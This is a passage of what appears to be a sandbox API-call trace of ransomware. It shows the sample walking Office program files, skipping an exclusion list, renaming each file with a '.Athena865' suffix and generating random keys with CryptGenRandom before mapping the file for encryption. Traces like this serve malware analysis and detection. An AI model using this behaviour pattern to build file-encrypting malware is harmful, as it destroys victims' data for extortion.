"c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.athena865"), dwFlags=0x1) returned 1 [0075.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.004] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=538583) returned 1 [0075.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.005] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.005] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.005] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.006] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x83ae0, lpName=0x0) returned 0x17c [0075.009] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x83ae0) returned 0x2d50000 [0075.037] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.037] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.038] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.039] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.044] CloseHandle (hObject=0x17c) returned 1 [0075.044] CloseHandle (hObject=0x154) returned 1 [0075.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.046] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="MIAE71~1.DLL")) returned 1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".") returned 1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="..") returned 1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="windows") returned -1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="bootmgr") returned 1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="temp") returned -1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="pagefile.sys") returned -1 [0075.046] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="boot") returned 1 [0075.047] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="ids.txt") returned 1 [0075.047] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="ntuser.dat") returned -1 [0075.047] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="perflogs") returned -1 [0075.047] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2="MSBuild") returned -1 [0075.047] lstrlenW (lpString="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned 52 [0075.047] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll" | out: lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll" [0075.047] lstrlenW (lpString="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned 52 [0075.047] lstrlenW (lpString="Athena865") returned 9 [0075.047] lstrcmpiW (lpString1="oring.dll", lpString2="Athena865") returned 1 [0075.047] lstrlenW (lpString=".dll") returned 4 [0075.047] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".dll") returned 1 [0075.047] lstrlenW (lpString=".lnk") returned 4 [0075.047] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".lnk") returned 1 [0075.047] lstrlenW (lpString=".ini") returned 4 [0075.047] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".ini") returned 1 [0075.047] lstrlenW (lpString=".sys") returned 4 [0075.047] lstrcmpiW (lpString1="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", lpString2=".sys") returned 1 [0075.047] lstrlenW (lpString="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned 52 [0075.047] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll.Athena865") returned 105 [0075.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.visio.workflowauthoring.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.visio.workflowauthoring.dll.athena865"), dwFlags=0x1) returned 1 [0075.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.visio.workflowauthoring.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.048] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=75672) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.049] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.049] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.049] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.050] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12aa0, lpName=0x0) returned 0x17c [0075.051] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12aa0) returned 0x100000 [0075.061] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.061] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.061] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.062] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.063] CloseHandle (hObject=0x17c) returned 1 [0075.063] CloseHandle (hObject=0x154) returned 1 [0075.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.064] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="MIF37A~1.DLL")) returned 1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".") returned 1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="..") returned 1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="windows") returned -1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="bootmgr") returned 1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="temp") returned -1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="pagefile.sys") returned -1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="boot") returned 1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="ids.txt") returned 1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="ntuser.dat") returned -1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="perflogs") returned -1 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="MSBuild") returned -1 [0075.064] lstrlenW (lpString="microsoft.office.workflow.actions.proxy.dll") returned 43 [0075.064] lstrcpyW (in: lpString1=0x241e89e, lpString2="microsoft.office.workflow.actions.proxy.dll" | out: lpString1="microsoft.office.workflow.actions.proxy.dll") returned="microsoft.office.workflow.actions.proxy.dll" [0075.064] lstrlenW (lpString="microsoft.office.workflow.actions.proxy.dll") returned 43 [0075.064] lstrlenW (lpString="Athena865") returned 9 [0075.064] lstrcmpiW (lpString1="proxy.dll", lpString2="Athena865") returned 1 [0075.064] lstrlenW (lpString=".dll") returned 4 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".dll") returned 1 [0075.064] lstrlenW (lpString=".lnk") returned 4 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".lnk") returned 1 [0075.064] lstrlenW (lpString=".ini") returned 4 [0075.064] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".ini") returned 1 [0075.065] lstrlenW (lpString=".sys") returned 4 [0075.065] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".sys") returned 1 [0075.065] lstrlenW (lpString="microsoft.office.workflow.actions.proxy.dll") returned 43 [0075.065] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.office.workflow.actions.proxy.dll.Athena865") returned 96 [0075.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.office.workflow.actions.proxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.workflow.actions.proxy.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.office.workflow.actions.proxy.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.workflow.actions.proxy.dll.athena865"), dwFlags=0x1) returned 1 [0075.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.office.workflow.actions.proxy.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.workflow.actions.proxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.066] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=423776) returned 1 [0075.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.066] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.067] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.067] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.067] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x67a60, lpName=0x0) returned 0x17c [0075.069] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x67a60) returned 0x2d50000 [0075.083] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.083] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.084] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.084] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.084] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.090] CloseHandle (hObject=0x17c) returned 1 [0075.090] CloseHandle (hObject=0x154) returned 1 [0075.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.092] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0075.092] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.092] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".") returned 1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="..") returned 1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="windows") returned -1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="bootmgr") returned 1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="temp") returned -1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="pagefile.sys") returned -1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="boot") returned 1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="ids.txt") returned 1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="ntuser.dat") returned -1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="perflogs") returned -1 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2="MSBuild") returned -1 [0075.093] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned 59 [0075.093] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.dll" | out: lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned="Microsoft.SharePoint.BusinessData.Administration.Client.dll" [0075.093] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned 59 [0075.093] lstrlenW (lpString="Athena865") returned 9 [0075.093] lstrcmpiW (lpString1="lient.dll", lpString2="Athena865") returned 1 [0075.093] lstrlenW (lpString=".dll") returned 4 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".dll") returned 1 [0075.093] lstrlenW (lpString=".lnk") returned 4 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".lnk") returned 1 [0075.093] lstrlenW (lpString=".ini") returned 4 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".ini") returned 1 [0075.093] lstrlenW (lpString=".sys") returned 4 [0075.093] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".sys") returned 1 [0075.093] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned 59 [0075.093] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.dll.Athena865") returned 112 [0075.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.dll.athena865"), dwFlags=0x1) returned 1 [0075.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.094] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=513920) returned 1 [0075.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.095] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.096] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.096] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.096] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7da80, lpName=0x0) returned 0x17c [0075.097] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7da80) returned 0x2d50000 [0075.119] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.119] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.119] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.120] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.125] CloseHandle (hObject=0x17c) returned 1 [0075.125] CloseHandle (hObject=0x154) returned 1 [0075.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.127] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, 